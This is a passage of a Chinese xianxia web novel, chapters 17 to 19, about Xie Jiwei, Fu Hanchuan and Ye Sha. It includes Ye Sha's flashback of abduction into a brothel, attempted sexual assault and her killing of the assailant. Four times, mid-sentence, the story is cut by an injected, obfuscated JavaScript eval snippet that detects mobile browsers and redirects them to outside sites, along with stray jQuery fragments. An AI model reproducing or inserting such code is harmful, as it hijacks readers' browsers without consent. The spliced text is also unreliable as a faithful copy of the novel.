她再一次抬手,想要触碰谢济微,却还是穿过了她。只是这一次,谢济微已经看不清她的神情了,因为她的身体已经逐渐消散了,只剩最后一句话还回荡在空中:“别伤心……死后我们还存在于这个世上,飞散在山川湖海中,永远地陪伴着……” 她的身体完全消失了,周围的牌位也在同一刻化为金色的齑粉,簌簌然飘落下来。 金色的粉雨下一滴泪从谢济微眼角滑落,然而她的眼中并没有半分悲哀,而是空茫一片。 就在此时,她身后的大门轰然巨响,缓缓被推开。门后的人正是傅寒川,手中长剑出鞘,神色难得一见的急切。 突然和谢济微分开之后,即使有道侣契在,他也不免担忧着急。眼下终于找到她,他心中松了一口气,却在谢济微转过身来时微微一怔。 只见昏暗的光线谢济微静静地看着他,神色一如既往看不出异常,然而他却觉得隐隐有些不安,快步走上前,问道:“发生什么了?” 谢济微凝视了他片刻,忽而伸手抱住了他。那个拥抱的力道却大得惊人,似乎要将他深深揉进自己的身体里。 傅寒川下意识回抱住了她,只感觉她的头埋在自己的颈窝,看不清她的神色。 半晌后谢济微松开手抬头,这时候那种令傅寒川不安的感觉已经消失了,只见她微微笑道:“没事。只是突然间很想你。” 傅寒川闻言耳根一烫,谢济微鲜少表现出这样的依赖,这句话一出,刚才的疑问全部都抛到脑后,只觉得满心的喜悦。 谢济微牵过他的手,和他一起走向大殿的门口:“走罢。这里什么都没有,我们再去看看那些尸骨。” 两人的身后大殿内一点点暗沉下来,直到两人走出门口,大殿的门悄然阖上,将一切的秘密都永远封存在黑暗之中。 在那之后,谢济微本以为她再也不会回到这里,而是在某一天彻底和邪魔同归于尽,就像以前的大能一样,在某一瞬间灰飞烟灭,消失在漫长的历史长河之中;然而百年之后她却机缘巧合地死而复生,又再次推开了这一扇门。 她身边的光点向殿内涌去,将漆黑的空间映照如白昼。殿内一如她离去之时,空空如也。 她走到大殿中央,伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313363|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,掌心向上,轻声道:“我回来了。” 如银河般的光点在穹顶缓缓流淌,忽而有几粒银光从空中坠落,落在了她的掌心,形成了一把泛着微光的钥匙。 她慢慢收拢手掌,将钥匙紧紧攥进掌心:“不知道你们看到了吗?我失败了,没有阻止它们……不过它们也没有成功。” 她掌心灵光闪烁,源源不断地向钥匙内注入灵力,在星光的照耀下,她的脸变得模糊,有一瞬间仿佛出现了原来的容貌。 “……所幸还有一次机会,一切还有挽回的机会。这一次,我不会让它们得手。”她轻轻道。银光瞬间笼罩住了她,片刻后,她已经消失在了原地。 另外一边,叶杀匆匆赶回原地。她本来已经做好谢济微已经不见的准备,却意外地看见谢济微还站在那里,和她离去时所站的位置分毫不差。看到她回来,便抬头看向她,神色无辜。 叶杀一时看不出异常,然而她的听觉一向敏锐,刚才必然是谢济微触发了什么机关,只是她隐藏得很好。 她拧眉大步走向谢济微,一只手径直向她抓来。谢济微向后一退,后背却已贴上了墙壁。正当避无可避之时,谢济微只觉得腕间一烫,不久前曾被傅寒川按住的地方开始逐渐变得灼热。 同一时刻,暗室的天花板忽然塌陷,一人从缝隙中闪身而进,挡在了谢济微身前,随即一道寒芒如毒蛇般刺向叶杀! 叶杀大惊,仓促间拿刀一挡,噔噔蹬急退数步,虎口一阵剧痛。 她抬头一看,惊道:“你怎会找到这里?!” 只见她面前的人面如寒霜,神色冷峻,大乘期圆满的威压尽数倾泻而出,正是傅寒川。 傅寒川当然不会回答她,又是一剑斩出。 叶杀已经退无可退了,只能强行接住这一招。这一下她只觉得浑身气血翻涌,喉头一阵腥甜,鲜血从她的嘴角慢慢溢出。 她随手一抹,没有看傅寒川,而是深深看了他身后的谢济微一眼。这时候再多的疑问也已经没有意义了,她将刀鞘向地上一敲,随即消失在了原地。 叶杀的气息很快不见了。这里的密道非常特殊,可以阻拦灵气的波动,这也正是傅寒川一路追过来,叶杀却没有发现他的原因。 现在叶杀也借此逃走了,傅寒川没有再追过去,而是转身看向了谢济微。昏暗的火光下他的眼神简直难以言喻,冰冷的杀意之中却隐约藏着几近崩溃的疯狂。 谢济微手指轻微一颤,只觉得有一个强大的神识从她的身上飞掠而去,片刻傅寒川扣住她的肩膀,两人脚下突然一空,齐齐向下方坠去! 快速的坠落中谢济微只能听见猎猎风声,眼前的景物飞快闪过。不知过了多久,她余光中看见一抹异色,随即两人终于落在地上,停了下来。 只见不远处叶杀持刀而立,神色难看。逃了那么久还被傅寒川找到,她已经知道傅寒川可以破除这个秘境的障眼法,这一战在所难免。 她握住刀柄,刀尖遥遥指向傅寒川。正当两人一触即发之时,忽而远处有人叫道:“且慢!” 17. 莫问归处 三人齐齐向声音处看去,只见两个人一前一后相继出现,后面那人拿着一把长弓,正是宫止水;而前面那人手握长剑,衣裳略微脏乱却不显狼狈,举手投足间尽显大能风范,赫然是江谈决! 原来谢济微被叶杀掳走之后,傅寒川便立刻传信给江谈决,令他前来与叶杀对质,又让宫止水留在原地等待江谈决,他自己先下去寻找谢济微。 那封信极短,只寥寥写了几字,江谈决赶到时,听了宫止水的叙述,神色大变,连道“罪过罪过”,匆忙带她下来。虽有傅寒川指引,他还是不免困在密道之中,好不容易出来,便见到两人即将要大打出手,急忙出声喝止。 叶杀神色骤变,身体霎时间绷紧了,冷笑道:“原来是崇霄仙君。终于不当缩头乌龟了?” 那一瞬间她的周身气势陡然剧变,若说之前只是小打小闹,现在却可以说是杀意毕现,极强的威压直逼江谈决。便是江谈决已是大乘修为,也被压得有点喘不过气来。 他微微一皱眉,不动声色地化解了,正色道:“令师一事,其中实在有隐情,我才不得不一直避而不谈。” 叶杀冷冷道:“什么隐情?”她的刀重重插入地下,显然不信江谈决,待他一说什么不对的话,便要立刻动手。 江谈决道:“令师生前一直在为你的道侣寻找解药,他找到我,希望我能助他。我翻阅典籍,确实找到了一方解药,却需他的血肉作引。但在解药即将成形之时,却发现需要的血肉还差一点。 “我隐隐察觉到不对,然而当时已到最后关头,如果再不割下血肉,其他灵药便要失效了。那些灵药来之不易,况且叶扶双的情况不容乐观,恐怕等不到下一次了,只好让他再割下一块肉。” 说到这里他叹了口气,继续道:“这一下确实解决了燃眉之急,但我们很快发现,解药又需要新鲜的血肉了。我猜是炼制解药的步骤出了问题,想立刻停下来,他却阻止了我,说:‘再拖下去,叶扶双就要性命不保了!’我也是救人心切,竟然没发现其中蹊跷,让他继续割下血肉。 “血肉越割越多,解药却迟迟不成形。他是洞虚境修士,却也抵不住这样的肉/体受损。眼看他修为散失得越来越严重,很快就要跌破洞虚,我决定先停下来,他却按住我的手,死死盯着我,说:‘不许停!’ “我说:‘再不停下,别说修为了,你连性命都保不住!’他却说:‘那又如何?’ “我知道劝不住他,便打算强行阻止他,却发现无法动弹,原来他先前在我的身上暗下阵法,就是为了这一刻。我只能眼睁睁看着他修为逐渐流失,形容迅速衰老,却无能为力。 “到最后他已经油尽灯枯,哪怕是大罗金仙亲至,也无力回天。他却笑着对我说:‘这件事不必与叶杀提起。这是我欠她……欠他们的,这样一来,我也算心安了……’” 江谈决说到最后一句话时,神色凄婉,然而他面容向来和蔼,作这样的神态未免略显违和,然而在场几人却神色凝重,叶杀更是双唇颤抖,只听他继续道:“他说完这句话,我感觉身上束缚一松,便立刻扑上去,他却已经没了生息,而解药也在此时炼成了。” 他看向叶杀,问道:“他死之前,给你传了留影,你看到我站在他面前,便以为我杀了他,是也不是?” 叶杀颤声道:“是……” 不等她说完,江谈决又道:“我把解药送出去之后,仔细想起当日之事,却觉得疑虑重重。他收你为徒,引你入道,又为你道侣之病尽心竭力,可谓对你恩重如山,又谈何亏欠与你?然而他这番话必然有其缘由,于是我便亲自去调查,因此才迟迟不见你。” 他顿了顿,继续道:“只是过了那么多年,不易调查,待我查明之时,却知他的话并非虚言,但不知如何同你说起,便拖到了现在。我想了很久,还是要让你知道这件事。你还记得你脸上的伤如何得来么?” 众人纷纷看向叶杀,只见那道疤痕从她的眉骨划过,差一点就要伤到眼睛。她在修真界小有名声之时,这道伤便已经留在她的脸上,然而修士既然可以用灵力洗髓伐骨,自然也可以修复这样的皮肉之伤,却不知叶杀为何留下它。 叶杀脸色惨白,道:“当然记得。” 江谈决道:“那楼坊的主人,正是令师。” 他这话说得没头没尾,旁人听得一头雾水,叶杀却只觉得一道闷雷在耳边炸响,眼前一阵模糊,本以为已经尘封的记忆再次如潮水般淹没了她。 “——砰!” 瓷碗落地,砰然碎裂,碎片和着滚汤倒在了她脚下,将她的裤脚和鞋一并浸湿。 那是很痛的,她退后一步,眼前的人却勃然大怒道:“你拿乔什么?!老子看上你,是你的福气,你不要不识好歹!只有一张脸能拿得出手,还不肯卖!” 他呸了一声,道:“丧门星,真晦气!” 他又不干不净地骂了几句,周围的人哄笑一片,隐约听见有人道:“把父母都克死了……”“要是她同意,还愁没钱么?”“荣华富贵不要……” 恶意和嘲讽一瞬间吞没了她,她茫然地站在原地,只觉得眼前熟悉的人一时间陌生无比。忽然只听一个尖锐的声音压过所有人:“你们在干什么?!” 一人把她扯到身后,挡在她身前,大声道:“有事冲我来,别只逮着我的人不放。”她指着先前骂人的人,手指快怼进他的眼睛里:“还有你,落井下石算什么?!还把我的碗摔碎了!赔钱!” 那人一时语滞,看神情敢怒不敢言,半晌才从喉咙里挤出:“我……” “你什么你!”她身前的人怒喝道,手掌往桌上重重一拍,力气之大,让桌上的碗筷都震了一下:“吃完了吗?吃完了就快滚!都站在这里干什么?有钱捡吗?!” 说完她转过身,抓着叶杀大步走进了后厨。 人群的喧闹嬉笑一下子变得遥远,叶杀站在门边,嗫嚅道:“老板,对不起,我……” “没事,”老板的声音一下子变得温柔,她蹲下来帮叶杀擦了擦裤脚,道:“不是你的错,不用放在心上。他们来一次我骂一次,不过你要是害怕,就在后厨帮我,不必去前面了。” 她“呀”了一声:“这瓷片都扎进去了。” 叶杀低头一看,只见一块碎片割破了她的衣服,深深刺进了她的皮肤,殷红的血汩汩流出,方才慌乱之中,她竟然没有察觉。 老板连忙帮她简单处理了一下,担忧道:“不知道伤得严不严重,待会歇下来,我带你去城西的医馆看看,可别落下病根了。” 叶杀抓住她的衣角,小心翼翼道:“我给你添了很多麻烦……” 老板一笑,道:“那算什么?”她揉了揉叶杀的头,道:“别想太多。” 说完她继续去忙了,而叶杀看着她的背影,又悄悄透过门缝看着门外。 原本的人们已经走得差不多了,只剩几个人还坐在那里,残羹冷炙一地狼藉。原本全然一新的桌椅碗筷却坑坑洼洼,都是被上门找茬的人摔的。 叶杀靠在门边,再一次回头看向老板。只见她在短短一月之内却白了好几缕青丝,都是从她收留自己后才出现的。 对不起,叶杀默默想,可是我必须要走。如果不走,你也会死的……就像爹妈一样,一开始只是有一些小麻烦,之后却越演越烈,直到…… 她最后一次眷恋地看了一眼老板的背影,悄无声息地从门缝中离开了。 离开的时候她将灶灰抹在自己脸上,整张脸变得脏兮兮的,却不像之前那样引人注意。然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313364|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她即将到达城门时,却见城外一行人疾驰而来,直直向人群冲过来。 人群一片惊呼,纷纷仓皇躲避,叶杀身体羸弱瘦小,推搡间跌倒在了地上,泥水溅了她满身。 跌倒的人还有不少,马上为首的人勒住缰绳,不耐烦地喝道:“让开!” 摔倒的地方一片刺痛,叶杀勉力站起来,正想躲到一旁,却听一人道:“……等等!把她带过来。” 泥水糊了她一脸,她什么都看不见,不待她擦干净,只感觉一只手抓住她的衣领,提着她走到一个人面前。那个人粗暴地用手擦去她脸上的脏泥,把她的脸擦得生疼。 她却不敢说话,只看见那个人久久地盯着她,周边有几声不明显的抽气声。 那人的眼神太过狂热,就像鬣狗看到了将死的猎物一般。她不自禁地瑟缩了一下,却仿佛惊醒了那人,那人放开她,大笑道:“就这个了!没想到这次出来,竟有这样的意外之喜,楼主一定会满意的。” 她不明所以,只是下意识地挣扎,然而这点力气对于其他人来说不过挠痒,很快就按住她,随即她只感觉后颈一疼,便失去了意识。 再次醒来时,她发现自己坐在一张椅子上,面前的桌子上摆了一面巨大的铜镜,镜边一对红烛静静燃烧,烛泪凝结。 而镜子里的人一身盛装,妆容华丽,恍然间竟不似凡人,只是她神色惶恐,便一下子跌落了云间。 她微微一动,只见镜子里的人也跟着一动,金钗下的珠链簌簌摇晃,她才发觉原来自己就是镜子中的人。 “真美……”她身后忽然有人低声道,她一惊,随即一人从黑暗中走出来,走到她的身后,和镜子中的她对视。 那人并不像第一次见面时那么狂热,但是眼神深处还是隐隐透着灼热。他双手按住她的肩膀,他的手冰冷异常,冻得她微微一瑟缩。 “别怕。”那人安抚道:“你知道接下来要发生什么吧?你以前过得很不好,父母接连去世,无依无靠,只能做一些脏活杂活维持生计,还要防备那些觊觎你的人……确实很辛苦啊。不过只要你顺从那个人,就能摆脱这一切。不仅如此,你想要报复谁,都可以,随便你想做什么,” 他俯下身,微笑着说出最后一句话:“只要你让‘他’满意了。” 他的声音仿佛有某种奇特的蛊惑意味,让她慢慢镇定下来,最后点了点头。 那人满意地笑了笑,重新退回了黑暗之中,随后“吱呀”一响,他打开房门,离开了。 叶杀坐在那里,听到门外传来的各种声响,杯酒碰撞声、金银首饰的叮当脆响、粗犷狎昵的笑声、温柔婉转的歌声……还有暧昧不堪的调笑声,最终都终结于一句:“都下去!今晚楼主亲至,谁都不许上来。” 很快那些声音全部消失了,她只能听见自己的呼吸声。 她站起来,放轻脚步,在黑暗中摸索着慢慢走到门边。门外寂静一片,然而仔细听,却能听见几个极为轻微的脚步声,还有刀剑在鞘中碰撞发出的、极轻的敲击声。 还不待她有所动作,忽然一道含笑声音隔着门响起:“别想着逃走哦。” 那人的声音熟悉无比,正是刚才那人。然而叶杀却是一颤抖,因为那实在太突然了,这么近的距离,应该能听到他的呼吸声,然而刚刚她什么都没听见,他就像幽灵般突然出现。 那人若无其事地道:“就算你逃走了,我也有办法把你抓回来。到时候就不像现在这样了,你也不想身体被人操控,只能眼睁睁看着,什么都做不了吧?” 叶杀沉默半晌,终于慢慢地、一步步退了回去。 她重新坐回了那张椅子上,烛火飘摇间她困在一片黑暗中,仿佛孤独地处于一隅天地间,只有发间金钗泛着微弱的光。 18. 假面 不知过了多久,蜡烛即将燃尽之时,门外终于出现了声音,只听一人谄媚地说:“……是的,都准备好了。您放心,她当然愿意……” 另外一人含糊地“嗯”了一声,似乎便是楼主了。 两人停在门前,随后门被轻轻推开,只见一个高大的身影站在门前,挡住了门外的光线,看不清他的面容。 而叶杀仍然坐在那里,平静地向他看去。 那人没有动作,半晌后忽然意味不明地笑了一下。 另外一人从他背后小心翼翼地探出头来,定睛一看,惊呼道:“怎么会——!” 只见那张举世罕见的美人面此刻却有一道长长的伤痕横亘在上面,那道伤应该新添不久,伤口处还有鲜血不断流出,将她的脸变得如修罗般恐怖。 而凶器还被她握在手里,血液从金钗的尖端一滴滴往下流淌,滴答滴答,浸入了地毯中。 后面那人心道不好,急忙道:“楼主,这个伤可以治好,不会留下——” “不必了。”楼主淡淡道:“既然她不愿意,又何必强求?” 说完他不再看叶杀,转身便走了。 后面那人又气又急,却又不敢追过去,在原地踟蹰了半天,忽然冲进屋内,扬手便是一巴掌向叶杀扇去! 叶杀往后一躲,那人的指尖便擦着她的脸而过。叶杀看上去瘦弱,反应却不慢,这一掌拍空,他惊讶之余,却更加恼怒,一把抓起叶杀,冷笑道:“毁自己脸的时候那么干脆,现在倒害怕了?” 说罢他将叶杀重重一扔,叶杀摔在地上,后背“砰”一声巨响,整个人都痛苦地蜷缩起来。 那人还觉得不解气,又狠狠往她身上踢了几脚,直到看见叶杀脸色惨白,痛得浑身都在颤抖,才稍微冷静下来。 他蹲下来,伸手捏住她的下巴,只见她睁大眼睛看着他,想极力掩盖,却还是泄出了几分恐惧无措。 他端详片刻,原本狰狞的表情忽然平静下来,慢慢道:“敬酒不吃吃罚酒……也罢,不让你吃点真正的苦头,就不知道这样的机会多么宝贵。” 他手上力气不断加重,眼神中的恶意几乎要满溢出来。而叶杀只觉得下巴仿佛要被捏碎一般,她抓住那人的手极力想要挣开,却发现几乎难以撼动一分一毫。 然而她的袖中却有一星寒芒悄然滑出,随后如闪电般刺向面前那人! ——那是她一直藏在手里的金钗。两人离得非常近,这几乎是瞬间就发生的事情,根本来不及反应。然而就在金钗尖端即将刺进那人的眼睛时,叶杀却觉得前面仿佛有一堵看不见的铜墙铁壁,无法再刺进一分一毫。 那人一哂,只见从尖端开始,金钗一截截化为齑粉,从叶杀的手中散落一地。 他松开叶杀,站起来拍了拍身上的灰,俯视着她,冷冷道:“等着罢。” 然而他口中“真正的苦头”却一直没有出现,只是让她在楼中做苦力。或许是知道她让楼主不高兴了,楼里的所有人对她的态度都相当恶劣,将脏活、重活都扔给她,原本养尊处优的手很快磨出了一层厚厚的茧。 这样的冷眼、讥诮和隐秘的觊觎,她却在亲人去世之后的短短几月已经全部承受过了,现在只是默默忍受着。 直到某一天,她脸上的伤几近痊愈,像往常一样提着水桶从走廊匆匆而过时,却被一人拦住。 那人是楼中的常客,浑身上下都浸透了靡靡的、奇特的香味,他上下打量了叶杀一番,忽而笑道:“我以前怎么没发现呢?还有这样一个美人儿……” 他的眼神粘腻异常,伸手想抓住叶杀的手。叶杀侧身躲过,放下水桶。 那人不以为意,又继续想揽过她,道:“有人和我说这里有惊喜,我还以为他诓我呢。没想到还真有。来来来,今天哥哥给你开/苞……” 而叶杀看着他越来越近的脸,却不合时宜地想起了之前见到的那一幕—— 嫖客们谈笑着走出房间,而大开的房门内少女侧躺在床榻上,双眼无神地看着她,凝固的血覆盖在她的身体上,就像一朵凋谢的、枯萎的花。 “啪”一声她拍开那人的手,力道大得有点出乎意料,让那人瞬间吃痛,甚至让他的手立刻红肿起来。他的脸色沉了下来,叫道:“来人!给我把她绑起来!” 一旁阁楼的阴影中瞬间跳下来几个人影,将两人团团围住。那几人一身黑衣,黑布蒙脸,身手矫健,还没等叶杀反应过来,就将她摁住,“扑通”一声,压住她跪下。 她的膝盖重重落在地板上,只听面前那人得意道:“怕了吧?现在求饶,待会我还可以轻一点……” 她闭上眼睛,面前人的脸、少女枯萎的脸、将她带到这里的人的脸、以及之前那些不屑的、恶意的脸一一在她脑海中闪过,最终定格在一张病入膏肓、行将就木的脸上。 “永远不要因为痛苦而选择屈服,”母亲紧紧抓住她的手,手指用力到近乎嵌入她的肌肤:“屈服只会得到暂时的解脱,随之而来的却是更绝望的痛苦……” 他忽然停住声音,只见叶杀慢慢抬头,眼神中没有半分他预想中的恐惧,而是说不清的冷漠。 电光石火之间寒意从他的背脊处升起,然而他还没发现哪里出了问题,却见空气中骤然出现肉眼可见的灵力漩涡,里面的灵力疯狂向叶杀体内涌去,震开了她身边的人!那一下谁都没反应过来,便已经昏迷在了原地。 随后她随手抽出黑衣人的短剑,一步一步向他走来。 这奇异的一幕完全超出了他的认知,他想转身逃跑,却发觉双腿已经软烂如泥,只能恐惧地说:“等一下,我错了,求求你——” 然而叶杀面无表情,抬手便是一剑,从他的心口中穿过。 那人的瞳孔很快涣散,脸上惊惧交加,无力地倒在地上。 而叶杀站在那里,居高临下地看着他,听见不远处有人惊呼道:“杀人了!快来人啊!”,随即纷乱嘈杂的脚步声向她冲过来。 她无动于衷,只是感受着身体里突如其来的力量,充盈着她的身体,却也将她的经脉一寸寸撕裂,再修复回去。 那时她还不知道这便是修真界所说的“入道”,只知道她终于得到了期待已久的力量——只有这样,才能彻底地、永远摆脱痛苦。 那一天,这座无论是在凡间,还是在修真界都颇具名声的青楼,葬身于一场大火。纵火者的画像快马加鞭地送到各个城池之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15313365|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尽管赏金丰厚,却无人能抓到她。 然而源源不断的追杀还是让她受了重伤,最终只能躲进一个洞穴里。洞穴里的密道异常复杂,追兵暂时找不到她,她得以稍微休息。 她已经半个多月没有合眼了,即使她已经踏入了修士的门槛,却不过筑基修为,难免心力交瘁,疲惫不堪。 眼下她终于能睡上一会儿,却在迷迷糊糊之中感觉到异样,一睁眼,却发现竟然有人站在自己面前,打量着她。 那一刻她瞬间清醒,紧握手上的武器,却听那人笑道:“别怕,我不是来抓你的。不过我看你天资不错,想收你为徒,你意下如何?” 她没有说话,只是警惕地看着他。 那人将手一摊,道:“我知道你现在不相信任何人,这样吧,我们立誓。我是修士,你也是修士,应该知道用灵力定下的誓言无法违背。我帮你解决你的通缉,教你修炼,你拜我为师,如何?” 叶杀从未见过这人,却从他身上感受到了深不可测的灵力,而他能神不知鬼不觉地来到她面前,更能说明他的修为深厚。 她沉默良久,终于答应了。 那人开怀地笑起来,似乎非常高兴。从那以后,她的生活回归了平静和安宁,修炼、突破、历练,一切都在他的陪伴下循规蹈矩地发生着,直到传来他的死讯,又见到“杀死”他的凶手。 她的师父教她修炼、为她锻造本命武器,最后还舍弃性命为她的道侣换取解药,在她心中是天下第一好的修士……怎么可能是那个草菅人命、制造一切罪恶源头的楼主? 叶杀霍然抬头道:“你有何证据?” 江谈决叹息道:“你还记得楼主的模样么?” 叶杀一时语塞,她想说她记得,然而明明那一夜她已经将那人的脸深深地记在脑海之中,现在回想起来,却已经变得空白一片。 那一刻莫名的恐惧涌上她的心头,竟然一句话也说不出来。 江谈决已经从她的反应中得知答案,他温和道:“因为他篡改了你的记忆,甚至影响到了你的情感。本来不会那么轻易地被你发现,但是随着他的死亡,你的记忆也在慢慢恢复,不用我说,假以时日,你也会想起来。” “怎么……怎么会……”叶杀喃喃道。 电光石火之间她已经察觉到了异常:按照她的为人,应当会在修炼的同时去寻找楼主的踪迹;然而她并没有这样做,反而将这桩往事藏匿于意识深处,除非刻意提起才会回忆起来。 情感上她想否决江谈决,理智上她却下意识地思考,并且觉得这种可能性竟然越来越大。 “这件事已经过去很久了,我也是找了许多线索,才敢确定。”江谈决道:“不过有一个人应当知道得更多,不知他现在如何了。” 叶杀问道:“是谁?” 还不等江谈决回答,只听不远处一人道:“是我。” 众人齐齐向那人看去,只见一人站在石壁边缘,身形羸弱,修为低微,病气缠身,只是说两个字,便已经承受不住般咳了几声,双颊呈现病态般的红色,却依旧难掩他相貌的惊艳。 那人的脸对于其他人来说相当陌生,叶杀却难以置信道:“扶双?” 19. 独木难支 来人正是叶杀的道侣叶扶双。他在修真界小有名气,与叶杀结为道侣一事更是广为人知,只不过几十年前便已经销声匿迹。如今看来,应当是重病在身,一直在寻找解药。 叶扶双道:“他说的,确实是真的,你的师父,就是‘楼主’……因为,咳咳,因为我也是他的徒弟。” 叶杀震惊地看着他,一旁的江谈决道:“或许应该说‘曾经是’。” 叶扶双看了他一眼,没有反驳,继续道:“当年我拜他为师之后,却意外发现他做的勾当……然而我不过刚刚结丹,即使心里再厌恶,也不能被他发现。待我修为更进一步,便借口外出历练,以此来彻底离开他,又不至于被他猜忌。 “在那之后我遇到你,当时你在外面游历已久,行踪莫测,来历神秘,也不知师承何人……当我知道你的师父是谁的时候,已经是很久之后的事了。”叶扶双苦涩道:“但看你对他敬重无比,我便知你一定不知道他做过什么。因为只要你知道,就不会放过他。 “我犹豫了很久,终于打算如实告诉你。然而我却突然患上重病,也因此昏迷了过去,直到——咳咳,直到现在。” 他剧烈地咳嗽起来,嘴角溢出了一点血迹。 叶杀即使心里再翻江倒海,那一刻对道侣的担忧还是占据了上风,她快步走到叶扶双,手掌按在他的后心,低声道:“先别说话。” 浩瀚的灵力从她的掌心处灌入,流转叶扶双的全身,他终于缓过来,呼出一口气,半靠在叶杀身上。 叶杀看着叶扶双半阖的双眼,心中剧烈变化。江谈决和叶扶双所说的,与她认知里的一切都相当割裂,然而眼前的线索都告诉她,他们所说的,都是对的。她不信任江谈决,却与叶扶双相伴已久,自然能看出他并没有说谎。 但她的师父,做这一切又是为了什么? 她沉默许久,看向江谈决,问道:“……他为何要这样做?” 江谈决思忖片刻,道:“或许他收你为徒,其实是抱着最初的目的。只不过时日一长,他渐渐改变了自己的想法,又看到叶扶双重病,知道他对你而言意义非常,因此才舍身救他。他心有愧疚,不止是对你,也是对那些惨死在楼中的人。” 他顿了顿,又道:“斯人已逝,其中种种,也难以探究了。人心莫测,自然做出什么事情,都不足为奇。不过他对你所做的一切,却算不得假。” 他说完之后,空气中寂静一片,众人神色各不相同,却一致地没有说话。 半晌后叶杀终于道:“多谢。之前我想杀你,是不知道其中缘由。之前多有得罪,还请见谅。”说罢她向江谈决行礼以示歉意,江谈决回以一礼:“不必挂怀,这也是情理之中。” 她又转向谢济微,道:“方才情急之下,实属无奈之举,实在抱歉。”又向谢济微行以一礼,谢济微连忙侧身避开,道:“无碍。” 见状傅寒川的脸色终于缓和了一点,只听她又继续道:“不过究竟如何,我还需亲自查明。” 江谈决点头赞同,道:“这样也好。那么这事也算暂时告一段落,我们也该离开了。话说回来,寒川,这处密境应当是你和济微最初发现‘魔’的地方……” 他话还没说完,却神色骤变,抬头看向头顶。 众人头顶处有一个约莫十尺宽的大洞,方才谢、傅二人正是从里面一直追下来,此刻却有浓稠的黑雾从洞口喷涌而出,不到片刻,就将众人团团围住,还不断向内收缩,正当快要逼近到众人十步之内时,却忽然停住了。 只见傅寒川手扶剑柄,剑未出鞘,却有剑气横贯而出,气劲横扫八方,将黑雾隔绝在外。 在场六人中,只有叶杀和叶扶双不常与邪魔打交道,剩余四人从黑雾出现的那一刹那,便从中察觉到了邪魔的气息,神情都变得凝重。叶杀虽第一时间没发现,但看到其余人的神色,也明白过来,立刻将叶扶双护在身后。 黑雾隔绝了视线,完全看不到里面有什么。江谈决观察片刻,走到黑雾面前,道:“这样等下去不是办法。这黑雾里必定有源头,待我进去找出来。” 傅寒川略一思忖,叶杀需护着叶扶双,而谢济微和宫止水不过金丹修为,自己抵御黑雾,确实只有江谈决可以进去,于是便卸掉江谈决身前的气劲。 黑雾顷刻从缺口处钻了进来,江谈决闪身穿了出去,身形很快淹没在雾气之中。而傅寒川的剑气纵横交错,将那几缕黑雾瞬间绞杀。 不到片刻,忽有一道白光从雾气中划过,如闪电般绕圈一周,随后“当”一声金属相击般的重响,停在了某一处。 原本浓稠如墨的黑雾渐渐变淡了,只见那一处正相对站着两人。 一人手持长剑,正是刚才出去的江谈决;另外一个足有两人高,身上却毫无血肉,只有一副骷髅架子,赫然是一个巨型白骨,竟无声无息地潜入了此地,没被任何人察觉。 不过那白骨虽然巨大,实力却逊于江谈决,不过几招,便已落于下风。傅寒川稍觉安心,忽然听见几声悉悉索索的异响,只见另外一个巨型白骨从叶杀脚边破土而出,而自己面前也猛然钻出了一个巨大的骷髅架子。 他拔剑出鞘,步伐微动,将谢济微和宫止水挡在身后,拦住面前白骨从天而降的一刀。 谢济微左右一看,这三架白骨虽然体型巨大,实力强悍,却不是三人对手,应该片刻就能被消灭。然而邪魔向来诡异莫测,万万不可轻敌,她于是也拔出长剑,环视周围。 然而就在下一瞬,只见三具白骨气息陡然同时暴增,竟然暂时压过了三人!而她忽而听到身后轻微的、利刃划过坚土的声音,随后余光中寒芒一闪,径直向她和宫止水斩来。 那一刻即使察觉到也已经来不及了,因为那实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15313366|167312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在太近了,顷刻间就来到了她们的身后。傅、江、叶三人齐齐色变,却被白骨缠住,一时抽不开手。 谢济微却没有动,就在寒芒即将碰到她的那一霎,她的手心忽然出现了一枚银色的钥匙。那枚钥匙轻微一闪,又消失在了她的掌心中。随后她身后的土地诡异地“延长”了一寸,那寒芒便往后退了一寸。 